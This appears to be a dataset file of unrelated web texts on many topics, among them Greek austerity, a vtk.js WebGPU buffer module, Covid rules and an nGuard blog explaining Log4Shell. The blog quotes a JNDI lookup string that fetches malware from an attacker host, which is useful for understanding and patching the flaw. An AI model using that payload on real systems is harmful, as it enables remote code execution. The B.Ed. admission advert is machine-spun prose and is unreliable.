text:
Tag: wolfgang schauble
Greece: Exposing The Media Myths
May 31, 2010 · 1 Comment ·
April 21 is a notorious day in Greek history. It was on this day in 1967 that a US-led authoritarian military coup overthrew socialist democracy in the country. It was US support for this authoritarianism, predicated on the illusion that socialism undermined democracy, that was said to be the cause of rising anti-American sentiment in Greece during and following the junta's rule (http://www.time.com/time/magazine/article/0,9171,903399,00.html).
April 21, 2010 is also a day now embedded in Greek history. It was on this day that a delegation from the IMF, European Union (EU) and the European Central Bank (ECB) arrived in Athens to implement what they term as planned economic 'stabilization' measures, characterized by cuts to public services and reductions in living standards. The Greeks hatred of this modern form of imperialism that stem from the events of April 21 1967, is manifested on the streets of Athens in the form of mass protests against the austerity measures imposed by the bankers. As one Greek activist contrasting the events of 1967 with the present put it: "We suffered from the military then. We suffer from the bankers now" (http://www.socialistreview.org.uk/article.php?articlenumber=11258).
As I illustrated in my last article, the debt crisis presently sweeping Greece and throughout the globe has its roots in the credit boom period in the US a decade ago, the ideological justifications of which have been legitimized as a result of the capitalist logic that underpins it. But one would be hard pressed to arrive at this conclusion by reading the mainstream media, the vast majority of whom have characterized the crisis essentially as a trajedy that is specific to Greece and where the public response to the crisis is unjustifiably deemed to be negative rather than positive. It is hardly surprising then, that Greece is presented not as a beacon for democracy, but as a "junk country" getting its comeuppance for its alleged "bloated public sector" and "culture of cutting corners" (http://www.guardian.co.uk/world/2010/may/09/greece-debt-crisis-euro-imf).
The reason why the media are attempting to tarnish Greece in this way is because the Greek people have mobilized on mass against the bankers' attempts to insist the people pay for the so-called "rescue" of their country by way of massive austerity programmes, without a fight. The memories of 1967 allied to the accompanying acts of popular resistance, remain a feature of the collective Greek consciousness in a way that is for example, absent in a country like Britain. Such resistance is anathema to Europe's central bankers and regarded as an obstruction to German capital's need to capture markets in the aftermath of Germany's troubled reunification. In this sense, the Greece of today is a microcosm of a modern class war that is rarely reported as such and is waged with all the urgency of panic among the imperial rich. Ordinary people are not cowed by the corrupt corporatism that dominates the European Union (http://www.johnpilger.com/page.asp?partid=576).
The right-wing government of Kostas Karamanlis, which preceded the present Pasok (Labour) government of George Papandreou, was described by sociologist Jean Ziegler as "a machine for systematic pillaging the country's resources" (http://socialistworker.org/2010/05/24/the-modern-class-war).
This "machine" whose functionaries included Goldman Sachs and other US hedge fund operators, are currently being investigated by the US Federal reserve Board for their alleged speculating of public asset stripping by the Greek government and the resulting haemorrhaging of capital by way of capital flight which the ECB facilitates. This has prompted some mainstream commentators to question the apparent hitherto God-given logic which insists upon cuts as a means to appease financial markets as an unaviodable feature of system where such markets, instead of being our servants, are our masters (http://www.guardian.co.uk/commentisfree/2010/may/02/greece-default-debt-choice).
The reason why financial markets are perceived as masters in this way is due to the structural weaknesses of monetary union. All countries have the same access to the money markets, but they do not have the same access to credit, which is obtained at a different price by each country (http://researchonmoneyandfinance.org/media/reports/eurocrisis/fullreport.pdf).
The main problem highlighted by the Greek crisis is that the EU is at most a monetary union not a fiscal union. Fiscal policy—dependent on the power to tax and spend—remains, for reasons of self-interest, firmly in the hands of the nation-states. Governments' only means of saving the capitalist system from itself was to bail out the financial institutions from which they could then borrow as a means to enact the fiscal measures necessary to rescue the market (Callinicos, Alex, 2010, Bonfire of Illusions, Polity).
Governments' obsession with appeasing the market means that weaker capitalist states like Greece are not given the luxury of being able to choose the timing of their austerity programmes. Greece has been targeted by the financial markets and their facilitators – the unelected and unaccountable ECB – for reasons of speculative profilagcy to the extent that the country has become threatened with bankruptcy. As a response, the financial markets didn't just force up the interest rates on the bonds of the weaker eurozone economies, they also pushed down the euro. This made the Greek crisis a problem for the entire eurozone (http://www.allbusiness.com/economy-economic-indicators/economic-conditions-deflation/14489907-1.html).
The dominant continental states, France and Germany, were divided over how to respond: France supporting a coordinated loan to keep Greece afloat, Germany resisting. Greece threatened to humiliate the EU by going to the International Monetary Fund for help, a bluff that was called by Germany. A few weeks ago, European leaders signed up to an unprecedented 750 billion euro ($920 billion) joint rescue package for the euro which has been proven to be inadequate to stabilize it. Instead, the European single currency has continued its dramatic fall, recently hitting a four-year low against the dollar (http://www.spiegel.de/international/europe/0,1518,697098,00.html).
The eventual agreement on the joint IMF-eurozone rescue reflected the fact that a Greek default would not be in the interest of the German banks, which have lent heavily to Greece and the other weaker eurozone economies. But the debate within Angela Merkel's chronically weak conservative-liberal coalition in Berlin (which was accompanied by ferocious nationalist exchanges between the German and Greek media) tilted towards the hard line taken by Wolfgang Schäuble, the finance minister (http://www.msnbc.msn.com/id/36981501/ns/business/).
He proposed setting up a European Monetary Fund that could come to the rescue of eurozone members in Greece's plight, in exchange for a tightening up of the Growth and Stability Pact, under which EU states are not supposed to run budget deficits greater than 3 percent of national income. Greece's budget deficit is currently running at 13 per cent which is close to that of the UK and the US. But ministers want to reduce Greece's deficit to 3 per cent within the next three years. Moreover, penalty clauses are to be inserted allowing states that broke the rules to be deprived of access to EU cohesion funds or even to have their voting rights temporarily suspended (http://www.ft.com/cms/s/0/c36bf126-2d41-11df-9c5b-00144feabdc0.html).
The message is clear. If Greece fails to implement the required austerity programmes, it will be ditched. The so-called rescue of the country is essentially an effort to rescue the French and German banks. If Greece defaults, it would deal a blow to the banks that are already weakened by the broader crisis (http://www.socialistworker.co.uk/art.php?id=21313).
This explains the nature of the anti-Greek propaganda that is pumped out by the media. This is the same media which claims that the Greek people have artificially high standards of living that must be brought down. But research by investigative journalists expose these lies and distortions. For example, figures show that the cost of living in Greece is one of the highest in Europe with the average shopping basket of food costing 66 per cent more than in Germany. Around 1 in 5 Greeks live on or below the poverty line of 6,648 euros per year. Unemployment stands at around 11 per cent. Public expenditure is equal to 40 per cent of gross domestic product. In Britain it accounts for 45 per cent. There is no "bloated public sector" (http://www.socialistworker.co.uk/art.php?id=21241).
Despite what the media portray, the crisis in Greece is connected to the broader crisis which will lead to increasing pressures on the euro. This will worsen the problems in Portugal, Ireland and Spain – the countries that along with Greece make up the so-called PIGS. According to leading Greek activist Panos Garganos, the intervention of the IMF and EU will not calm this crisis – it will make it worse because the example of Greece shows they have failed there, so they will fail to save Ireland, Portugal and Spain. The markets know this and will move quickly (http://www.socialistreview.org.uk/article.php?articlenumber=11258).
What all this indicates is that the Greek people are clear that it is the system which is responsible for the crisis and are standing up to fight back against the bankers and politicians who insist that they, along with other ordinary folks in countries like the US and UK, repay the debts of the rich and powerful who incurred them. Jobs, pensions and public services are to be slashed and burned, with privateers in charge. For the European Union and the IMF, the opportunity presents to "change the culture" and dismantle the social welfare of Greece, just as the IMF and the World Bank have "structurally adjusted" (impoverished and controlled) countries across the developing world (http://www.johnpilger.com/page.asp?partid=576).
As the illusionary Tweedledee and Tweedledum versions of parliamentary democracy throughout much of the world play to the fiscal tune of ruling class interests, the inspiration for the rest of us are the ordinary folk in Greece.
Copyright: Daniel Margrain


text:
Tidbit: The Missing All Americans
By David Bloom Feb 3, 2006, 9:51pm EST
Share All sharing options for: Tidbit: The Missing All Americans
Sure, it looks good on paper. But, does a top 5 recruiting class every year translate to developing outstanding talent? Well, Heisman pundit has illustrated that the Seminoles have a knack recently for not being able to harness that talent depsite the high accolades on the recruiting trail.
That's 18 consensus All-Americans from 1991-2000, or approximately two per year.
Since then, the Seminoles have not had a single consensus All-American.
How about this: No Seminole made All-ACC first-team last season, despite FSU winning the conference title.
It's not that FSU isn't recruiting well. Just yesterday, it signed another top three class.
Take a good, hard look at them here.
Based on recent history, it may be the last you see of those players for a while.
Is it coaching? Is it the lack of discipline? Has the game past him by?
All I know is I do not fear the Seminoles like I used to. They still play alot of big games, but unlike the past where they played alot of cupcakes for the rest of their schedule, they play some decent teams in the improved ACC.

redpajama_set_name: RedPajamaCommonCrawl


Exit 33 Brewing is a small, independent, but not too traditional brewery. For us it's all about the journey, the discovery, and our attitude to crafting beer that suits some and challenges others.
We value our small team and we are proud to pay our employees in excess of the National Living Wage.
With 19 different beers brewed throughout the year there is something for everyone.


text:
import macro from 'vtk.js/Sources/macros';
import vtkWebGPUBufferManager from 'vtk.js/Sources/Rendering/WebGPU/BufferManager';
import vtkWebGPUTypes from 'vtk.js/Sources/Rendering/WebGPU/Types';

const { BufferUsage } = vtkWebGPUBufferManager;

const { vtkErrorMacro } = macro;

// ----------------------------------------------------------------------------
// vtkWebGPUUniformBuffer methods
// ----------------------------------------------------------------------------

function vtkWebGPUUniformBuffer(publicAPI, model) {
  // Set our className
  model.classHierarchy.push('vtkWebGPUUniformBuffer');

  publicAPI.addEntry = (name, type) => {
    if (model._bufferEntryNames.has(name)) {
      vtkErrorMacro(`entry named ${name} already exists`);
      return;
    }
    model.sortDirty = true;
    model._bufferEntryNames.set(name, model.bufferEntries.length);
    model.bufferEntries.push({
      name,
      type,
      sizeInBytes: vtkWebGPUTypes.getByteStrideFromShaderFormat(type),
      offset: -1,
      nativeType: vtkWebGPUTypes.getNativeTypeFromShaderFormat(type),
      packed: false,
    });
  };

  // UBOs have layout rules in terms of how memory is aligned so we
  // have to be careful how we order the entries. For example a vec4<f32>
  // must be aligned on a 16 byte offset, etc. See
  // https://gpuweb.github.io/gpuweb/wgsl/#memory-layouts
  // for more details. Right now you can create a situation that would fail
  // in the future we could add dummy spacer entries where needed to
  // handle alignment issues
  publicAPI.sortBufferEntries = () => {
    if (!model.sortDirty) {
      return;
    }

    let currOffset = 0;
    const newEntries = [];

    // compute the max alignment, this is required as WebGPU defines a UBO to have
    // a size that is a multiple of the maxAlignment
    let maxAlignment = 4;
    for (let i = 0; i < model.bufferEntries.length; i++) {
      const entry = model.bufferEntries[i];
      if (entry.sizeInBytes % 16 === 0) {
        maxAlignment = Math.max(16, maxAlignment);
      }
      if (entry.sizeInBytes % 8 === 0) {
        maxAlignment = Math.max(8, maxAlignment);
      }
    }

    // pack anything whose size is a multiple of 16 bytes first
    // this includes a couple types that don't require 16 byte alignment
    // such as mat2x2<f32> but that is OK
    for (let i = 0; i < model.bufferEntries.length; i++) {
      const entry = model.bufferEntries[i];
      if (entry.packed === false && entry.sizeInBytes % 16 === 0) {
        entry.packed = true;
        entry.offset = currOffset;
        newEntries.push(entry);
        currOffset += entry.sizeInBytes;
      }
    }

    // now it gets tough, we have the following common types (f32, i32, u32)
    // - vec2<f32> 8 byte size, 8 byte alignment
    // - vec3<f32> 12 byte size, 16 byte alignment
    // - f32 4 byte size, 4 byte alignment

    // try adding 12 byte, 4 byte pairs
    for (let i = 0; i < model.bufferEntries.length; i++) {
      const entry = model.bufferEntries[i];
      if (entry.packed === false && entry.sizeInBytes === 12) {
        for (let i2 = 0; i2 < model.bufferEntries.length; i2++) {
          const entry2 = model.bufferEntries[i2];
          if (entry2.packed === false && entry2.sizeInBytes === 4) {
            entry.packed = true;
            entry.offset = currOffset;
            newEntries.push(entry);
            currOffset += entry.sizeInBytes;
            entry2.packed = true;
            entry2.offset = currOffset;
            newEntries.push(entry2);
            currOffset += entry2.sizeInBytes;
            break;
          }
        }
      }
    }

    // try adding 8 byte, 8 byte pairs
    for (let i = 0; i < model.bufferEntries.length; i++) {
      const entry = model.bufferEntries[i];
      if (!entry.packed && entry.sizeInBytes % 8 === 0) {
        for (let i2 = i + 1; i2 < model.bufferEntries.length; i2++) {
          const entry2 = model.bufferEntries[i2];
          if (!entry2.packed && entry2.sizeInBytes % 8 === 0) {
            entry.packed = true;
            entry.offset = currOffset;
            newEntries.push(entry);
            currOffset += entry.sizeInBytes;
            entry2.packed = true;
            entry2.offset = currOffset;
            newEntries.push(entry2);
            currOffset += entry2.sizeInBytes;
            break;
          }
        }
      }
    }

    // try adding 8 byte, 4 byte 4 byte triplets
    for (let i = 0; i < model.bufferEntries.length; i++) {
      const entry = model.bufferEntries[i];
      if (!entry.packed && entry.sizeInBytes % 8 === 0) {
        let found = false;
        for (let i2 = 0; !found && i2 < model.bufferEntries.length; i2++) {
          const entry2 = model.bufferEntries[i2];
          if (!entry2.packed && entry2.sizeInBytes === 4) {
            for (let i3 = i2 + 1; i3 < model.bufferEntries.length; i3++) {
              const entry3 = model.bufferEntries[i3];
              if (!entry3.packed && entry3.sizeInBytes === 4) {
                entry.packed = true;
                entry.offset = currOffset;
                newEntries.push(entry);
                currOffset += entry.sizeInBytes;
                entry2.packed = true;
                entry2.offset = currOffset;
                newEntries.push(entry2);
                currOffset += entry2.sizeInBytes;
                entry3.packed = true;
                entry3.offset = currOffset;
                newEntries.push(entry3);
                currOffset += entry3.sizeInBytes;
                found = true;
                break;
              }
            }
          }
        }
      }
    }

    // Add anything remaining that is larger than 4 bytes and hope we get lucky.
    // Likely if there is more than one item added here it will result
    // in a failed UBO
    for (let i = 0; i < model.bufferEntries.length; i++) {
      const entry = model.bufferEntries[i];
      if (!entry.packed && entry.sizeInBytes > 4) {
        entry.packed = true;
        entry.offset = currOffset;
        newEntries.push(entry);
        currOffset += entry.sizeInBytes;
      }
    }

    // finally add remaining 4 byte items
    for (let i = 0; i < model.bufferEntries.length; i++) {
      const entry = model.bufferEntries[i];
      if (!entry.packed) {
        entry.packed = true;
        entry.offset = currOffset;
        newEntries.push(entry);
        currOffset += entry.sizeInBytes;
      }
    }

    // update entries and entryNames
    model.bufferEntries = newEntries;
    model._bufferEntryNames.clear();
    for (let i = 0; i < model.bufferEntries.length; i++) {
      model._bufferEntryNames.set(model.bufferEntries[i].name, i);
    }
    model.sizeInBytes = currOffset;
    model.sizeInBytes =
      maxAlignment * Math.ceil(model.sizeInBytes / maxAlignment);
    model.sortDirty = false;
  };

  publicAPI.sendIfNeeded = (device) => {
    if (!model.UBO) {
      const req = {
        nativeArray: model.Float32Array,
        usage: BufferUsage.UniformArray,
        label: model.label,
      };
      model.UBO = device.getBufferManager().getBuffer(req);
      model.bindGroupTime.modified();
      model.sendDirty = false;
    }

    // send data down if needed
    if (model.sendDirty) {
      device
        .getHandle()
        .queue.writeBuffer(
          model.UBO.getHandle(),
          0,
          model.arrayBuffer,
          0,
          model.sizeInBytes
        );
      model.sendDirty = false;
    }

    // always updated as mappers depend on this time
    // it is more of a sentIfNeededTime
    model.sendTime.modified();
  };

  publicAPI.createView = (type) => {
    if (type in model === false) {
      if (!model.arrayBuffer) {
        model.arrayBuffer = new ArrayBuffer(model.sizeInBytes);
      }
      model[type] = macro.newTypedArray(type, model.arrayBuffer);
    }
  };

  publicAPI.setValue = (name, val) => {
    publicAPI.sortBufferEntries();
    const idx = model._bufferEntryNames.get(name);
    if (idx === undefined) {
      vtkErrorMacro(`entry named ${name} not found in UBO`);
      return;
    }
    const entry = model.bufferEntries[idx];
    publicAPI.createView(entry.nativeType);
    const view = model[entry.nativeType];
    if (entry.lastValue !== val) {
      view[entry.offset / view.BYTES_PER_ELEMENT] = val;
      model.sendDirty = true;
    }
    entry.lastValue = val;
  };

  publicAPI.setArray = (name, arr) => {
    publicAPI.sortBufferEntries();
    const idx = model._bufferEntryNames.get(name);
    if (idx === undefined) {
      vtkErrorMacro(`entry named ${name} not found in UBO`);
      return;
    }
    const entry = model.bufferEntries[idx];
    publicAPI.createView(entry.nativeType);
    const view = model[entry.nativeType];
    let changed = false;
    for (let i = 0; i < arr.length; i++) {
      if (!entry.lastValue || entry.lastValue[i] !== arr[i]) {
        view[entry.offset / view.BYTES_PER_ELEMENT + i] = arr[i];
        changed = true;
      }
    }
    if (changed) {
      model.sendDirty = true;
      entry.lastValue = [...arr];
    }
  };

  publicAPI.getBindGroupEntry = () => {
    const foo = {
      resource: {
        buffer: model.UBO.getHandle(),
      },
    };
    return foo;
  };

  publicAPI.getSendTime = () => model.sendTime.getMTime();
  publicAPI.getShaderCode = (binding, group) => {
    // sort the entries
    publicAPI.sortBufferEntries();

    const lines = [`struct ${model.label}Struct\n{`];
    for (let i = 0; i < model.bufferEntries.length; i++) {
      const entry = model.bufferEntries[i];
      lines.push(`  ${entry.name}: ${entry.type},`);
    }
    lines.push(
      `};\n@binding(${binding}) @group(${group}) var<uniform> ${model.label}: ${model.label}Struct;`
    );
    return lines.join('\n');
  };
}

// ----------------------------------------------------------------------------
// Object factory
// ----------------------------------------------------------------------------

const DEFAULT_VALUES = {
  bufferEntries: null,
  bufferEntryNames: null,
  sizeInBytes: 0,
  label: null,
  bindGroupLayoutEntry: null,
  bindGroupEntry: null,
};

// ----------------------------------------------------------------------------

export function extend(publicAPI, model, initialValues = {}) {
  Object.assign(model, DEFAULT_VALUES, initialValues);

  // Build VTK API
  macro.obj(publicAPI, model);

  // Internal objects
  model._bufferEntryNames = new Map();
  model.bufferEntries = [];

  // default UBO desc
  model.bindGroupLayoutEntry = model.bindGroupLayoutEntry || {
    buffer: {
      type: 'uniform',
    },
  };

  model.sendTime = {};
  macro.obj(model.sendTime, { mtime: 0 });

  model.bindGroupTime = {};
  macro.obj(model.bindGroupTime, { mtime: 0 });

  model.sendDirty = true;
  model.sortDirty = true;

  macro.get(publicAPI, model, ['binding', 'bindGroupTime']);
  macro.setGet(publicAPI, model, [
    'bindGroupLayoutEntry',
    'device',
    'label',
    'sizeInBytes',
  ]);

  // Object methods
  vtkWebGPUUniformBuffer(publicAPI, model);
}

// ----------------------------------------------------------------------------

export const newInstance = macro.newInstance(extend, 'vtkWebGPUUniformBuffer');

// ----------------------------------------------------------------------------

export default { newInstance, extend };

redpajama_set_name: RedPajamaGithub


text:
Home Lifestyle Health & Wellbeing
Covid Scotland: New self-isolation rules if you have Omicron
By Dawn Donaghey
November 30 2021, 6.33am Updated: November 30 2021, 9.58am
Rules on isolation have changed.
Self-isolation rules for Covid-19 have been updated as nine Scottish cases of new variant Omicron have been identified.
Health Secretary Humza Yousaf says many questions remain about Omicron's severity, transmissibility and response to vaccines.
However, he says scientists are working at pace to provide additional information.
But until more is known, the Scottish government is advising caution – including a change to some self-isolation rules.
Here's what we know about Omicron risks and new rules for self-isolation.
Is Omicron more severe than other variants?
Gregor Smith, Scotland's Chief Medical Officer says: "One of the features of all forms of the virus we've seen so far is a very definite age gradient in terms of severity of impact.
"Older or more vulnerable people have tended to fare worst when infected.
In younger age groups severe effects of Covid-19 are much less frequent.
Gregor Smith, Chief Medical Officer
"As you go down to the younger age groups severe effects are much less frequent.
"There's nothing to suggest with data for this variant that this has changed in any way."
First Minister Nicola Sturgeon's update on Omicron variant.
What can I do to avoid catching Omicron?
First Minister Nicola Sturgeon says: "It is really important to get vaccinated. And to continue doing all the things we know can make a difference.
"This time last year as we were about to have the Alpha variant – which was more transmissible than before – and then later came Delta.
"But we did not have vaccination then. We're in a much better position."
Gregor Smith reiterates this: "Many people haven't begun their vaccination doses. My plea to them is to reconsider. And to those who are eligible for boosters, take up that offer and book in.
"The booster dose gives a significant rise in antibody response in the body."
"We don't yet know if there's going to be immune escape with Omicron. But boosting antibody response will give you the best opportunity of protecting yourself."
What are self-isolation rules if I or someone I know has Omicron?
Anyone with Omicron – and all close contacts of suspected Omicron cases – will be asked to self-isolate for 10 days, regardless of vaccination status.
The close contacts advice differs slightly from other variants.
If you have any variant you must self-isolate for at least 10 days.
Close contacts of those with variants other than Omicron who are fully vaccinated do not need to isolate as long as a PCR test result is negative and they remain asymptomatic.
How will I know whether I have Omicron or another variant?
Anyone identified as testing positive for the Omicron variant will be contacted by NHS Test and Protect with advice.
Where a health protection team identifies a positive case of the Omicron variant, they will now ask the household contacts of that case to also self-isolate for 10 days, whether or not they return a negative PCR test for Covid.


mdu b.ed admission MDU B.Ed. Admission 2018-2019 ,MDU B.Ed. Counselling 2017-2018 | MDU B.Ed. Registration Form: – There is an enormous quantity of data and analysis to support the speculation that academics are the foremost necessary factors within the effectiveness of faculties and also the quality of a child's education. So as to realize the amount of quality and effectiveness as a teacher, one should initial perceive a way to acquire and observe these characteristics.
The quality of the teaching will impact the standard of the education. The question is: however will a teacher guarantee he or she achieves quality in their classroom? This quality is achieved through effective teacher coaching. Once quality is addressed at this level – before unhealthy habits will set in – a tutor features a far better probability of functioning at his or her best.
For years, the policy manufacturers targeted on education operating to make new programs and standards that were then bi-manual over to the academics to execute. This reform has currently shifted to teacher coaching to confirm quality starts at the guts of the schoolroom. Whereas this is often a remarkable step, it still involves the creation of latest formulas that are then merely given to academics for implementation. This method fails to make quality teachers; it merely simply creates a lot of pressure.
It is true that such characteristics is educated and even shapely in teacher coaching, however unless academics share the beliefs of outstanding academics, they're unlikely to effectively adopt these behaviors and thereby produce the standard schoolroom. Reformers will still develop programs and lift expectations for academics, however they cannot produce quality wherever none exists.
Telling academics what they ought to be doing while not providing the tools to assist them eff can in result produce no modification in the least. Instead, skilled development programs ought to encourage academics in what they're already doing, light why they're doing it. These programs ought to raise concerning their beliefs and what they use to support these beliefs; however these beliefs influence their perceptions, choices and expectations; what values they're unconsciously teaching; and what reasonably metaphors do they use to explain their school rooms.
When such ways are enforced in teacher coaching, the negotiator will determine areas wherever a teacher might have steerage. Academics might use their beliefs to their hurt in teaching while not even realizing it. Correct steerage in coaching will facilitate them re-direct their thinking and the way it relates to quality teaching.
To have a quality of knowledge one must have fine training at the time of their B.Ed. training and must be qualified from a recognized university like Maharshi Dayanand University Rohtak, Haryana.
dtg an authorized admission center under Maharshi Dayanand University (MDU) Rohtak, Haryana. And now the MDU B.Ed. Admission 2017 going to be held so you should hurry up and book your seats.


Hustle is the dark horse of creativity, the close cousin of grit and tenacity. Without the hustle, drive, and complete devotion to making things happen, you are average.
Creative direction is about the forest and the trees. More specifically, it's about helping those in the trees see the forest, and helping those who only see the forest remember the trees too.


HSN Community / Forums / HSN TV / HP LAPTOP SALE TODAY JULY 24 2016 PLEASE DESCRIBE THE SOUND ON HERE!!!!
HP LAPTOP SALE TODAY JULY 24 2016 PLEASE DESCRIBE THE SOUND ON HERE!!!!
This question asked 4 hours ago yet their presentation has not changed at all. They talk incessantly about colors & personal nonsense instead of SPECS!!!!
@nkri, the laptops come with built in speakers. The sound is listed as DTS Stereo Sound.
Lol…Yes!!! My spinmop…ahhhh. Even with it's mix match of differnt color parts and bucket. It is easy to use, to wring, and my floors are not left drenched in water.
Thanks for the offer, but I would also have to find a box for the bucket, extra head and the bags I also ordered along with the mop. I already went through exchanging the first one, only to have the same issues with the replacement-hard to use and hard on hands/wrists. I have an adult disabled son and the inconvience to get everything boxed and ready to ship is not worth the trouble!!! Not to mention buying the box and paying for shipping on the items other than the defective mop.


"Perspectives on model forecasts of the 2014–2015 Ebola epidemic in Wes" by Gerardo Chowell, Cecile Viboud et al.
The unprecedented impact and modeling efforts associated with the 2014–2015 Ebola epidemic in West Africa provides a unique opportunity to document the performances and caveats of forecasting approaches used in near-real time for generating evidence and to guide policy. A number of international academic groups have developed and parameterized mathematical models of disease spread to forecast the trajectory of the outbreak. These modeling efforts often relied on limited epidemiological data to derive key transmission and severity parameters, which are needed to calibrate mechanistic models. Here, we provide a perspective on some of the challenges and lessons drawn from these efforts, focusing on (1) data availability and accuracy of early forecasts; (2) the ability of different models to capture the profile of early growth dynamics in local outbreaks and the importance of reactive behavior changes and case clustering; (3) challenges in forecasting the long-term epidemic impact very early in the outbreak; and (4) ways to move forward. We conclude that rapid availability of aggregated population-level data and detailed information on a subset of transmission chains is crucial to characterize transmission patterns, while ensemble-forecasting approaches could limit the uncertainty of any individual model. We believe that coordinated forecasting efforts, combined with rapid dissemination of disease predictions and underlying epidemiological data in shared online platforms, will be critical in optimizing the response to current and future infectious disease.


Hello, I'm Franciscan Father Greg Friedman, with the "Sunday Soundbite" for the Seventh Sunday of Easter. How often do we promise to pray for someone we care about? Did you know there's a special prayer for each of us, prayed by Christ himself?
Attending a family reunion not long ago, I was struck by the physical resemblances of the members of my family through a number of generations. I wondered, too, whether the values of my first immigrant ancestors from 150 years ago were also present in the crowd of people gathered there.


Arsenal transfer news: Who could Arsene Wenger sign before deadline day?
ARSENAL could add big names to their squad before the transfer deadline passes – but who has been linked?
Arsene Wenger will be hoping to reinforce his Arsenal squad in the final few days of the transfer window – but can he fill the gap left by Alexis Sanchez?
Henrikh Mkhitaryan arrived at the Emirates in a swap-deal for Sanchez, but fans are demanding more new faces, with Pierre-Emerick Aubameyang top of the list.
A deal for the Dortmund striker continues to waver, though he isn't the only star linked with a move to Arsenal before deadline day.
Wenger has been tipped to sign a defender with options available in the Premier League and abroad.
Take a look through the gallery to reveal the main targets linked to Arsenal in the final few days of the January transfer window.


Hope Solo, the star goalkeeper for the U.S. women's national team and Reign FC, was arrested early Saturday morning and is being held without bail for two counts of investigation of fourth-degree domestic-violence assault.
Here is our story on the news.
Stevens, you might remember, was arrested for allegedly assaulting Solo in November of 2012, but charges were never filed. The couple married hours later.
Solo is due to have a court appearance Monday.
Again, for more details, go to our news story.
On June 21st 2014 and just before 1:00 am, Kirkland Police Department Patrol Units responded to a 911 call of a disturbance in the 10600 block of 124th AVE NE. The male caller stated that a female at the residence was "hitting people" and they could not get her to stop or to leave the house. Officer arrived and immediately heard the sounds of the disturbance inside the residence. They entered and contacted several persons; one being Hope A Stevens (Solo) who appeared intoxicated and upset. As officers made contact, they observed visible injuries on Solo's 17-year-old nephew and on Solo's sister. After receiving statements of the persons involved, Officers determined that Solo was the primary aggressor and had instigated the assault.
Solo was arrested on 2 counts of Domestic Violence Assault 4th Degree and booked into the south King County detention facility (SCORE). Solo will have a mandatory court appearance Monday June 23rd at the Kirkland Municipal Court, with the time yet to be determined.


What Does Illinois Demand Of Drivers In Terms Of Insurance?
What Illinois Law Mandates Insurance For Drivers?
Are You Complying With Illinois Insurance Law?
Like all other states, Illinois requires motorists to carry insurance while operating their vehicles on the roadway. While not the highest requirements around, they are still very steep. For instance, in the case of one person getting injured or killed in an incident, you must carry twenty-five thousand dollars of coverage. In the case of multiple people getting injured or killed in an incident, you must carry fifty thousand dollars of coverage. Finally, in the case of damage to another's property in an incident, you must carry twenty thousand dollars of coverage. You must carry your insurance card at all times while driving to evidence this coverage.
Then, in the sections that follow, it lays out the various penalties that drivers will be given if they fail to obtain the correct amount of insurance. Generally, they will face fines, registration revocation, and loss of their license. However, if they caught multiple times without insurance, then all of these punishments multiply and it will become harder and harder to get back on the road.
Rosenfeld Injury Lawyers LLC can help you get into compliance with Illinois insurance law. Also, if you are involved in an accident with an uninsured motorist, then we can help you prosecute a claim against that person, that person's insurance carrier, or even your insurance carrier. Plus, we can assist you on contingency so that you can worry about your recovery and not our bills until it's all over. Just contact our offices and let Rosenfeld Injury Lawyers LLC take care of the rest.


text:
San Francisco High School to Offer First LGBT History Class
The 'gay agenda' will cover the Stonewall riots, the AIDS crisis and marriage equality.
By Glenn Garner
July 27 2015 11:45 AM EDT
Pictured: Harvey Milk
Ruth Asawa School of the Arts in San Francisco will soon offer an LGBT social studies course, still a rarity across the country and the first of its kinds in the area.
"This is history. This is an experience that happened," said teacher Lyndsey Schlax. "How can we not teach history? That's what we do."
Schlax is hard at work creating a lesson plan for the class. The curriculum will cover seminal moments in LGBT history such as the Stonewall riots, the AIDS crisis and the ongoing fight for marriage equality. Schlax will also look at the effect LGBT people have had on historical events, as well as the way they are portrayed in pop culture.
"Or, how did World War II help create the gay enclave in San Francisco?" Schlax said. "It has to do with how the war ended — people ending up in San Francisco after. People finding each other. People not necessarily wanting to return."
A college prep class, the University of California approved the course last week, qualifying it for admission to the UC system. It is also part of a resolution approved in 2010 to expand support for LGBT students. Unfortunately the effort was put on hold following the recession and budgetary restrictions.
"I'm glad we're picking it up again as we get more money. I think this class is very interesting," said board member Sandra Fewer, who sponsored the 2010 resolution. "As the mother of a gay child, I'm very sensitive to the issues of our LGBT youth."
Fewer and Schlax emphasized that the class will not include sex education.
"People always think it's about the sex. It's not about sex," Fewer said. "What drove those movements was making the world a better place, a more peaceful place."
Although classes like this are not seen on many course catalogs, perhaps education will become the next fight following marriage equality.
Tags: News & Opinion, lgbt


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text:
nGuard
Call us p. 704.583.4088
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Client PortalSpeak to An Expert
Written by nGuard / January 20, 2022
Log4j Update – What You Need to Know
On December 10th, 2021, CVE-2021-44228 (Log4Shell) was released affecting the Log4j Java logging framework. This vulnerability received the highest possible CVSS score of 10 out of 10. There have been three other vulnerabilities released related to Log4j since then, but the original is the most critical by far. Initially discovered by Chen Zhaojun, who works for Alibaba's security team, back on November 24th, 2021 which was the privately disclosed to Apache. The risk of this vulnerability is so severe, as a precautionary measure, Canada shut down 4,000 government sites. Since the public release there has been reports of millions of attempts to exploit the vulnerability across the world, but as of January 10th, CISA stated they have not seen any significant intrusions related to Log4j.
So, what is Log4j, what makes it so vulnerable, and how do you exploit it?
Log4j is a piece of software, which most surprisingly is developed and maintained by a group of volunteers, that was coded in Java and logs activity of users on computers. An example of activity that is captured and logged would be navigating to a nonworking link on a web page and receiving a 404 error. Log4j is also used for diagnostic messages in software such as amount of memory being used and user commands entered. The logging of this information isn't the issue, it's the fact that the code actively interprets the activity that it is logging, meaning that remote code can be executed. Within Log4j there is a feature called Java Naming Directory Interface (JNDI) that allows commands to be run that are wrapped in ${…}. This feature allows live lookups both inside and outside of your network. With this correct sequence of input, this feature can be used to place malware on the server and have full remote code execution on the host. An example input of ${jndi:ldap://myattackingmachine:9999/Malware} would reach out to an attacking machine IP on port 9999 and download the malware file that is being hosted.
Products affected
The image below, courtesy of xkcd, describes the impact of this vulnerability perfectly.
At this time, it's almost safe to assume that all products are affected as Log4j has been discovered to be deeply embedded in so many pieces of software, even to some that were not aware of its existence. Popular products like Minecraft, Apple's iCloud, AWS, the NSA's reverse engineering tool Ghidra, and the list goes on. CISA continues to update their GitHub with a list of known products to be affected.
Detection & Patching
To discover what systems to patch, here are a few steps to take:
Identify any internet facing assets.
Use authenticated vulnerability scanning to detect devices that have been impacted.
If you have an endpoint detection and response (EDR) system, you can use that to search for Log4j files.
Determine the version of Log4j being used. Version 2.0 to 2.14.1 are the versions that are vulnerable.
Update to the current version 2.17.1.
Repeat the above steps on internal IT and OT systems.
To prevent Log4j from being exploited, there are a few steps to take.
